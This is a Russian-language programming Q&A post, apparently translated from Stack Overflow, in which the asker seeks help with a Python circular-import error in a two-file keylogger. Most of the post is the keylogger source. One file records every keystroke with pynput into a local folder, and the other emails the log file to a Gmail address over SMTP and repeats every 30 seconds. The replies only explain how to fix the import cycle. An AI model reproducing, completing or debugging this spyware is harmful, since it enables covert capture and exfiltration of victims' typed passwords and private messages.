Импорт переменной в другие файлы Python не работает (может возникнуть циклическая ошибка импорта)

#python

#python

Вопрос:

Я создавал некоторый код кейлоггинга для моего первого проекта безопасности.

У меня есть 2 файла кода Python с именем mainKeylogger.py (запись ключевого журнала) и mailFunc.py (автоматически отправлять почту с файлом кейлоггинга) в том же каталоге. Когда я выполнил mailFunc.py произошла ошибка, которая..

 AttributeError: partially initialized module 'mainKeylogger' has no attribute 'keylogFileName' (most likely due to a circular import)
  

Вы знаете, почему возникает ошибка и как ее исправить?
Я искал информацию о «циклическом импорте», возможно, это потому, что я еще недостаточно разбираюсь в программировании, поэтому я не очень хорошо понял.

Мне нужна ваша помощь.

Все 2 кода, которые я написал, приведены ниже.

mainKeylogger.py

 from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime

import mailFunc

import threading

if os.path.isdir('C:\Keylogging') == False:
    os.mkdir('C:\Keylogging')

log_dir = ''

now = datetime.datetime.now()
currentTime = now.strftime('%Y-%m-%d_%H-%M-%S')

logging.basicConfig(filename=(log_dir   "C:\Keylogging\"  currentTime  "Key.txt"),
                    level=logging.DEBUG, format='["%(asctime)s". %(message)s]')

keylogFileName = "C:\Keylogging\Key_"   currentTime   ".txt"

def on_press(key):
    logging.info('"{0}"'.format(key))

with Listener(on_press = on_press) as listener:
    listener.join()

mailFunc.autoEmailSend(keylogFileName)
  

mailFunc.py

 import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

import os
import time
import schedule

import threading

import mainKeylogger

def autoEmailSend(filenametosend):
        #erased because it is my private information
        email_user = '(erase)'     
        email_password = '(erase)'      
        email_send = '(erase)'         

        subject = 'Keylogging Automatic Report' 

        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject

        body = 'Keylogging Report at '   time.strftime('%c', time.localtime(time.time()))
        msg.attach(MIMEText(body,'plain'))

        filename = filenametosend
        attachment = open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
        msg.attach(part)

        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com',587)
        server.starttls()
        server.login(email_user,email_password)

        server.sendmail(email_user,email_send,text)
        server.quit()

        print("Mail Sended at "   time.strftime('%c', time.localtime(time.time())))

        threading.Timer(30.0, autoEmailSend).start()

autoEmailSend(mainKeylogger.keylogFileName)
  

У меня пока нет большого опыта в этой области, и я изучаю английский, поэтому я, возможно, не смогу хорошо объяснить проблему (на английском языке). Я прошу вашего понимания.

Комментарии:

1. У вас есть два модуля, которые пытаются импортировать друг друга. Это создает циклическую зависимость. Вам нужно удалить один из импортированных файлов. Цепочка импорта должна формировать граф без циклов (ориентированный ациклический граф или DAG).

Ответ №1:

когда вы импортируете файл, вы можете напрямую использовать его переменные

  autoEmailSend(keylogFileName)